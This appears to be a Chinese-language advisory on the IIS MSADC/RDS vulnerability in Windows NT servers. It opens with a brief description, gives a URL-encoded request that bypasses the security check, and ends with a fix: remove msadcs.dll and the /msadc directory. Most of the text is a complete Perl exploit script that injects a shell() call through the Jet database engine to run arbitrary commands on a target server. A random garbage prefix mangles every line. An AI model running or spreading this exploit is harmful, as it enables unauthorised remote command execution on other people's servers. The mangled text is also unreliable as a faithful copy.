IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
FT_k^CC R` C.ha 涉及程序：
B,0+HoP Microsoft NT server
.cw=*<zeg |Q u_E 描述：
/.-m}0h|W- 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
aL$j/SC B*Cb6'Q 详细：
4sd-zl$Of 如果你没有时间读详细内容的话，就删除:
U$$3 'n c:\Program Files\Common Files\System\Msadc\msadcs.dll
8D T@h8tA 有关的安全问题就没有了。
?zE< 4[H,3}p9H 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
-wIM0YJ R`7n^, 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
c'lIWuL) 关于利用ODBC远程漏洞的描述，请参看:
B'/Icg.T X)NWX9^;' http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm t>@yv# D'?]yyrf 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
\I
xzdFF# http://www.microsoft.com/security/bulletins/MS99-025faq.asp Wy," cT w#d} TY 这里不再论述。
0hZxN2r >%i9 oI<) 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Dtt\~m;AR j@V $Mbv /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\#_@qHAG 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Hc
/w ta ;.r2$/E }1\?()rB #将下面这段保存为txt文件，然后: "perl -x 文件名"
Y(W{J d+ r UvwpP"k #!perl
2q|_Dma #
_"v~"k 90^ # MSADC/RDS 'usage' (aka exploit) script
:28@J?jjO #
S
`wE$s o> # by rain.forest.puppy
S r[IoF) #
m^c%]5$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
KY 8^BjY@ # beta test and find errors!
Lo5Jb6nm SZI7M"gf/+ use Socket; use Getopt::Std;
%8g$T6E[<2 getopts("e:vd:h:XR", \%args);
0c-QI r}m 2:n|x5\H print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
, FS?"Ni eFes+i( 35 if (!defined $args{h} && !defined $args{R}) {
5G UH;o1m print qq~
wz)m{:b< Usage: msadc.pl -h <host> { -d <delay> -X -v }
=yo=q)W -h <host> = host you want to scan (ip or domain)
4&H+hN{3 -d <seconds> = delay between calls, default 1 second
TVj1C -X = dump Index Server path table, if available
gBfX}EK7F -v = verbose
}P16Xb) p -e = external dictionary file for step 5
% M+s{ l pV_}Or_ Or a -R will resume a command session
\4C)~T:* zAu}hVcW ~; exit;}
Ckw83X S{Rh'x\B $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
H.)fO ctbO if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
IS .g);Gj if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
t0+t9w/fTP if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
@],Z 2 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
`2sd Z/fO if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
.k
p $oAL ^]KIgGv\ if (!defined $args{R}){ $ret = &has_msadc;
V_ {vZ/0e die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
0U9+ s%FP6u7[i print "Please type the NT commandline you want to run (cmd /c assumed):\n"
E ]1\iV . "cmd /c ";
$ To 4dJb $in=<STDIN>; chomp $in;
= tLU] $command="cmd /c " . $in ;
G|<] Ma9x |F3vRt@ if (defined $args{R}) {&load; exit;}
EmYO5Whi |c]> Q print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
[p2g_bI8yK &try_btcustmr;
Q1 K"% S_`W@cp[ print "\nStep 2: Trying to make our own DSN...";
'o7R/`4KR &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`9]P/J^ 'et(:}i print "\nStep 3: Trying known DSNs...";
q`h7H][(A &known_dsn;
ry z /rf ]cS&8{ ^2 print "\nStep 4: Trying known .mdbs...";
IQ o]9Lx &known_mdb;
s_x=^S3~LO Cb+P7[X- if (defined $args{e}){
`6dy
U_f print "\nStep 5: Trying dictionary of DSN names...";
#!(Zn:[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
A!n~8zcmp} ;>cLbjD print "Sorry Charley...maybe next time?\n";
$ 0ym_6n exit;
BYTXAZLb :t_}_!~ ##############################################################################
;D6x=v=2 @2QJm sub sendraw { # ripped and modded from whisker
wEZq kV sleep($delay); # it's a DoS on the server! At least on mine...
p!. / my ($pstr)=@_;
F %w\D9+P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E
`?S!*jm die("Socket problems\n");
&;'w8_K"^ if(connect(S,pack "SnA4x8",2,80,$target)){
JkRG t Yq select(S); $|=1;
9)8*FahW print $pstr; my @in=<S>;
R:SIs\%o select(STDOUT); close(S);
Vj?*= UL return @in;
hnH)Jy; > } else { die("Can't connect...\n"); }}
,^UcRZ8.H C!CaGf= ##############################################################################
h[vAU 9f)
ke{DFq h sub make_header { # make the HTTP request
$Vd?K@W[h my $msadc=<<EOT
qb#V) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
_SU,f> User-Agent: ACTIVEDATA
lr)G:I# | Host: $ip
$IZ *|>( Content-Length: $clen
s 0x@
u Connection: Keep-Alive
kfH9Y%bOy !NlB%cF ADCClientVersion:01.06
]W89.><%14 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
n=lggBRx c80"8r --!ADM!ROX!YOUR!WORLD!
D N2hv2 Content-Type: application/x-varg
KFCQYdI`d Content-Length: $reqlen
wWp?HDl"M RlG'|xaT EOT
F( 0pru4u ; $msadc=~s/\n/\r\n/g;
PX+"" # return $msadc;}
s?1-$|* NZ C<m$') ##############################################################################
]9!Gg <m|FccvQ sub make_req { # make the RDS request
Vs2 v j my ($switch, $p1, $p2)=@_;
krnvFZRTQ my $req=""; my $t1, $t2, $query, $dsn;
N^nDWK d!a2[2Us if ($switch==1){ # this is the btcustmr.mdb query
BxW||O|_N" $query="Select * from Customers where City=" . make_shell();
=|DkD-
O $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$i5G7b $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
s.k`];wo _rWTw+
L elsif ($switch==2){ # this is general make table query
(7
] \p $query="create table AZZ (B int, C varchar(10))";
{Tjtj@- $dsn="$p1";}
*X"F : 7 2n"*)3Qj elsif ($switch==3){ # this is general exploit table query
X.r!q1_c $query="select * from AZZ where C=" . make_shell();
+'{:zN5m $dsn="$p1";}
3R Y|l?n> J:M<9W elsif ($switch==4){ # attempt to hork file info from index server
FQv02V+&< $query="select path from scope()";
,cl"1>lp $dsn="Provider=MSIDXS;";}
h0ZW,2?l ? M gt5by elsif ($switch==5){ # bad query
^@l5 u= $query="select";
E!O(:/* $dsn="$p1";}
kiB OyC!r6 r' 97\| $t1= make_unicode($query);
r( `8A:#d $t2= make_unicode($dsn);
jHUz`.8B $req = "\x02\x00\x03\x00";
3l41r[\ $req.= "\x08\x00" . pack ("S1", length($t1));
}J4BxBuV8 $req.= "\x00\x00" . $t1 ;
|iF 1 A $req.= "\x08\x00" . pack ("S1", length($t2));
H f`&& $req.= "\x00\x00" . $t2 ;
l.Lc]Z pB $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
{#d`&] return $req;}
Jf8'N
ot &El[ ##############################################################################
g
tSHy*3] g]TI8&tP!L sub make_shell { # this makes the shell() statement
+eH=;8 return "'|shell(\"$command\")|'";}
(\AszLW +L<w."WG ##############################################################################
U iPV Z@? ).@)t:uNa sub make_unicode { # quick little function to convert to unicode
}T^v7 LY my ($in)=@_; my $out;
h;mQ%9 Yd for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
rkER` return $out;}
jw6 ng>9 j2C^ 1:s@m ##############################################################################
^{:[^$f:l s^x , S sub rdo_success { # checks for RDO return success (this is kludge)
*jqP KK/ my (@in) = @_; my $base=content_start(@in);
jAK`96+D~b if($in[$base]=~/multipart\/mixed/){
\)s 3]/"7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
r]K0
]h@B return 0;}
0v,`P4_k YH:W] ##############################################################################
r >D[5B ]mDsUZf< sub make_dsn { # this makes a DSN for us
#|2g{7 g* my @drives=("c","d","e","f");
.(.G`aKnF print "\nMaking DSN: ";
gP"Mu#/D foreach $drive (@drives) {
ABS
BtH ? print "$drive: ";
Mz#S5 s my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
e^ K=8IW "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Yc ( )'6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
A?< "^<A^ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
bN~'cs8 e return 0 if $2 eq "404"; # not found/doesn't exist
Q'V,?# if($2 eq "200") {
/E1c#@ foreach $line (@results) {
v \L Ip return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
#v]aT
]} } return 0;}
Ts ?>"@ c~u
F ##############################################################################
KfI$'F
#"/ 3hpz.ISk sub verify_exists {
E t[QcB3 my ($page)=@_;
hgMn O J my @results=sendraw("GET $page HTTP/1.0\n\n");
.<|4PG return $results[0];}
Y$DgL
h *1 eTf ##############################################################################
'3kL=( aABE= 9Y sub try_btcustmr {
we@En
.>f my @drives=("c","d","e","f");
(Su2 \x my @dirs=("winnt","winnt35","winnt351","win","windows");
x [,wJzp\6 H'(o}cn7~ foreach $dir (@dirs) {
"}Sid+)< print "$dir -> "; # fun status so you can see progress
*/@bNT9BgO foreach $drive (@drives) {
XVK[p=cIL print "$drive: "; # ditto
c`[uQXv $reqlen=length( make_req(1,$drive,$dir) ) - 28;
nCmrt*&} $reqlenlen=length( "$reqlen" );
nV6g]#~ @ $clen= 206 + $reqlenlen + $reqlen;
g960;waz3 ri_6 wbPp my @results=sendraw(make_header() . make_req(1,$drive,$dir));
`oI/;& if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
x'PjP1 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
'jO-e^qT u\\niCNA ##############################################################################
mJ#B<I' j~<iTLM sub odbc_error {
4)S?Y"B s my (@in)=@_; my $base;
x>/@Z6Wxz my $base = content_start(@in);
~$`YzK^*X if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Yka yT 0! $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
< EE+
S#z $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4% .2 = $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yeh adm\ return $in[$base+4].$in[$base+5].$in[$base+6];}
k*+ZLrT print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
oXOO 10 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
4Og GZ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
in|7ucSlg At_Y$N: ##############################################################################
s)ajy^6'M 1$!K2=%OXj sub verbose {
@9Pn(fd] my ($in)=@_;
aLo>Yi return if !$verbose;
YedipYG9; print STDOUT "\n$in\n";}
q|_ 5@Ly !E S#::;z? ##############################################################################
LR?#H)$ wEn&zZjx sub save {
ktJLp Z<0O my ($p1, $p2, $p3, $p4)=@_;
(N >ew)Ke open(OUT, ">rds.save") || print "Problem saving parameters...\n";
CX2q7azG print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
:JG}% close OUT;}
*j; r|P;g YuW\GSV00 ##############################################################################
])";Z YQd&rkr sub load {
bI0+J ) my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~Am
%%$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
17i@GnbNb @p=<IN>; close(IN);
.j@n6RyN $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
@ dU3d\!} $target= inet_aton($ip) || die("inet_aton problems");
4'e8VI0 print "Resuming to $ip ...";
' F<e )D? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
@g5]w&o_ if($p[1]==1) {
2\W<E WJ@ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
-5*;J&. $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
^ x#RUv my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
KTREOOu .t if (rdo_success(@results)){print "Success!\n";}
S~9kp?kR$ else { print "failed\n"; verbose(odbc_error(@results));}}
w3hL.Z,kV elsif ($p[1]==3){
G+yz8@ if(run_query("$p[3]")){
~_\2\6%1^n print "Success!\n";} else { print "failed\n"; }}
@Bwl)G!| elsif ($p[1]==4){
!a&F:Fbm if(run_query($drvst . "$p[3]")){
<%5uzlp print "Success!\n"; } else { print "failed\n"; }}
545xs`Q_ exit;}
~}l,H:jk@ G#M] \)f% ##############################################################################
VL1z$<vVXt @"5u~o')@v sub create_table {
^IZ0M1&W; my ($in)=@_;
AR2+W^aM3 $reqlen=length( make_req(2,$in,"") ) - 28;
cLF>Jvs*J $reqlenlen=length( "$reqlen" );
J(*"S!q)6 $clen= 206 + $reqlenlen + $reqlen;
jpS#'h my @results=sendraw(make_header() . make_req(2,$in,""));
VrP%4 P+ return 1 if rdo_success(@results);
oW9rl]+ my $temp= odbc_error(@results); verbose($temp);
gVWLY;c 3} return 1 if $temp=~/Table 'AZZ' already exists/;
QVhB HAw return 0;}
c>k6i?u:X7 L(rjjkH ##############################################################################
|n%N'-el )[Cm*Xxa$ sub known_dsn {
$e\R 5L u # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
0]W/88ut*u my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
OH~qJ < "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
'0?E|B]Cp% "banner", "banners", "ads", "ADCDemo", "ADCTest");
bHG>SW\]`? ?' :'zT foreach $dSn (@dsns) {
t;6/bT- print ".";
>b${rgCvQ next if (!is_access("DSN=$dSn"));
tq93 2M4 if(create_table("DSN=$dSn")){
M_uij$1- print "$dSn successful\n";
a
OHA G if(run_query("DSN=$dSn")){
/! 3:K<6@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
L4-Pq\2 print "Something's borked. Use verbose next time\n";}}} print "\n";}
Y 'R1\Go- 5 jk4k c ##############################################################################
.U
{JI\ S-dV sub is_access {
<H#K `|Ag my ($in)=@_;
j3F=P $reqlen=length( make_req(5,$in,"") ) - 28;
*mt v[ $reqlenlen=length( "$reqlen" );
r4zS, J;, $clen= 206 + $reqlenlen + $reqlen;
GT0 'b ge my @results=sendraw(make_header() . make_req(5,$in,""));
+? 'a cn my $temp= odbc_error(@results);
v#G ^W verbose($temp); return 1 if ($temp=~/Microsoft Access/);
\`x'g)z(i return 0;}
a# $%xw 'IszS!kY ##############################################################################
mY9K)]8 H N)QS5 sub run_query {
&*-2k-16 my ($in)=@_;
=V4!t|( 7 $reqlen=length( make_req(3,$in,"") ) - 28;
rKq]zHgpo $reqlenlen=length( "$reqlen" );
mK4 A/bsE $clen= 206 + $reqlenlen + $reqlen;
- d6> my @results=sendraw(make_header() . make_req(3,$in,""));
["9$H L return 1 if rdo_success(@results);
\aozecpC` my $temp= odbc_error(@results); verbose($temp);
bp _@e0 return 0;}
C I0^eaFs Czn7,KE8X ##############################################################################
$r_ gFv g#*N@83C sub known_mdb {
#a:C=GV;4 my @drives=("c","d","e","f","g");
N<%,3W_-_ my @dirs=("winnt","winnt35","winnt351","win","windows");
W=:+f)D my $dir, $drive, $mdb;
} U .B$4Q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
tDVdl^# Uk4">]oct # this is sparse, because I don't know of many
8&bj7w,K my @sysmdbs=( "\\catroot\\icatalog.mdb",
#U6qM(J "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
mYvm_t 9 "\\system32\\certmdb.mdb",
<hdCO<
0( "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
*WG}K?"/ <NO~TBH F my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
/;1FZ<zU "\\cfusion\\cfapps\\forums\\forums_.mdb",
fZC,%p "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
/|f]L9)2< "\\cfusion\\cfapps\\security\\realm_.mdb",
e^T F.D?RS "\\cfusion\\cfapps\\security\\data\\realm.mdb",
+V^_ksi\ "\\cfusion\\database\\cfexamples.mdb",
6iC:l%|u "\\cfusion\\database\\cfsnippets.mdb",
h'+ s wPh "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
}rZp(FG@* "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
g<Xwk2_=g "\\cfusion\\brighttiger\\database\\cleam.mdb",
2} -W@R "\\cfusion\\database\\smpolicy.mdb",
d8I/7
;F X "\\cfusion\\database\cypress.mdb",
}z #8vE; "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
'cv/"26 # "\\website\\cgi-win\\dbsample.mdb",
bcG-js- "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
D?R z| "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
~r3g~MCHS ); #these are just
E%N ]t} }[ foreach $drive (@drives) {
98"N UT foreach $dir (@dirs){
QkbN2mFv% foreach $mdb (@sysmdbs) {
*yx :nwmo print ".";
FqfeH_-U if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
l(W3|W#P print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
G 2##M8:U0 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
;d4_l:9p print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
;f\0Gs A# } else { print "Something's borked. Use verbose next time\n"; }}}}}
Qd&j~cG@ so*7LM?ib> foreach $drive (@drives) {
\9DTf:!4Z foreach $mdb (@mdbs) {
ececN{U/ print ".";
=*I9qjla[? if(create_table($drv . $drive . $dir . $mdb)){
E;N8{Ye_ print "\n" . $drive . $dir . $mdb . " successful\n";
F(9T; F if(run_query($drv . $drive . $dir . $mdb)){
<Co h
&g_ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
* 0 @e_h } else { print "Something's borked. Use verbose next time\n"; }}}}
l3,|r QD }
3 0Z;}<)9 P%c<0y"O:> ##############################################################################
9^n
]qg^ Z)<>d. sub hork_idx {
<_~`)t print "\nAttempting to dump Index Server tables...\n";
smggr{- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
tP9}:gu $reqlen=length( make_req(4,"","") ) - 28;
?a %
u=G $reqlenlen=length( "$reqlen" );
?(z3/ "g] $clen= 206 + $reqlenlen + $reqlen;
SL*(ZEn" my @results=sendraw2(make_header() . make_req(4,"",""));
OA;L^d if (rdo_success(@results)){
+?8nY.~,' my $max=@results; my $c; my %d;
`Cc< K8s8 for($c=19; $c<$max; $c++){
VQyDd~Za $results[$c]=~s/\x00//g;
he,T\ }; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
XcXd7 e $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
5o?bF3 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
/dAIg1ra $d{"$1$2"}="";}
YL]x>7T~4t foreach $c (keys %d){ print "$c\n"; }
1 <*-, f } else {print "Index server doesn't seem to be installed.\n"; }}
0(n /hJ btOC\bUMfD ##############################################################################
N^ )OlH ZHT.+X:_ sub dsn_dict {
;rX4${h open(IN, "<$args{e}") || die("Can't open external dictionary\n");
X!m/I
i$q while(<IN>){
ty ~U~ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
R[b?kT-% next if (!is_access("DSN=$dSn"));
AbB%osz}Ed if(create_table("DSN=$dSn")){
>. A{=? print "$dSn successful\n";
Z`D#L[z$ if(run_query("DSN=$dSn")){
PQ
j_j#0 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
I'";
print "Something's borked. Use verbose next time\n";}}}
u}$?r\H'( print "\n"; close(IN);}
C..O_Zn{g <H.Ml>q:r ##############################################################################
Z1&8 U=pax \6o
~ i sub sendraw2 { # ripped and modded from whisker
ppxu\a sleep($delay); # it's a DoS on the server! At least on mine...
I<$lpU_H my ($pstr)=@_;
B}vI<?c socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i<l )To - die("Socket problems\n");
g$ h!:wW if(connect(S,pack "SnA4x8",2,80,$target)){
J ;qH w[6 print "Connected. Getting data";
0F"xU1z, open(OUT,">raw.out"); my @in;
MDRSI g select(S); $|=1; print $pstr;
iVD9MHT4 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
;fuy}q8@7 close(OUT); select(STDOUT); close(S); return @in;
bAg KO fT } else { die("Can't connect...\n"); }}
_M?:N:e }Vt5].TA ##############################################################################
n[<V j1n {d) +a$qj sub content_start { # this will take in the server headers
{2,V3*NF my (@in)=@_; my $c;
LWY`J0/ for ($c=1;$c<500;$c++) {
+f+\uObi: if($in[$c] =~/^\x0d\x0a/){
K jL j if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
'+$2<Y s else { return $c+1; }}}
h5~tsd}OU return -1;} # it should never get here actually
:Z<-J` jYU#]
|k~ ##############################################################################
VB Ce=< yCwQ0| sub funky {
SQ@@79A my (@in)=@_; my $error=odbc_error(@in);
]LD@I;( _ if($error=~/ADO could not find the specified provider/){
RAe:$Iv$!v print "\nServer returned an ADO miscofiguration message\nAborting.\n";
PS>k67sI exit;}
"B.l j) if($error=~/A Handler is required/){
>LjvMj ] print "\nServer has custom handler filters (they most likely are patched)\n";
"kMpa]<c-6 exit;}
bH&[O`vf if($error=~/specified Handler has denied Access/){
IE3GM^7\ print "\nServer has custom handler filters (they most likely are patched)\n";
^CX~>j\( exit;}}
J=()
A + IuPwFf) ##############################################################################
ztf (.~ es .`:^A sub has_msadc {
EP yFM_k my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
MVV<&jho{^ my $base=content_start(@results);
Fd2zvi return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
ifuVV Fov return 0;}
8Y:bvs.j C6GYhG] ########################
SwQb" hd\iW7 \i{=%[c 解决方案：
{W @Y4Qqq 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
JT x&_Ok# 2、移除web 目录: /msadc
